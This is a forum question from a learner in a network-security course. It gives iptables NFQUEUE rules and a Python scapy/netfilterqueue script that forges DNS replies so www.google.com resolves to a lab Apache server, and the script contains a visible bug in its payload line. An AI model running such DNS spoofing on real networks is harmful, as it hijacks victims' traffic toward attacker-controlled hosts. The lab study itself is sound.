scapy和netfilterqueue dns欺骗不工作

2024-09-28 20:39:57 发布

您现在位置:Python中文网/ 问答频道 /正文

我一直在学习一门关于网络安全的课程,目前我正试图让DNS欺骗程序发挥作用。这个想法是,每次目标(这台计算机)试图访问www.google.com时,它都会转到apache服务器。但它唯一能做的就是不连接谷歌。可以说,我没有什么经验

我首先说:

iptables -I INPUT -j NFQUEUE --queue-num 0
iptables -I OUTPUT -j NFQUEUE --queue-num 0

然后在Python3.7上

import netfilterqueue
import scapy.all as scapy

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = scapy_packet[scapy.DNSQR].qname
        if b'www.google.com' in qname:
            answer = scapy.DNSRR(rrname=qname, rdata=b'10.0.2.5')
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1
            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].len
            del scapy_packet[scapy.UDP].chksum
            packet.set_payload(b'scapy_packet')
    packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

我使用的是NAT网络,10.0.2.5是我的apache服务器


Tags: ip服务器comiptablesqueuepacketdnsapache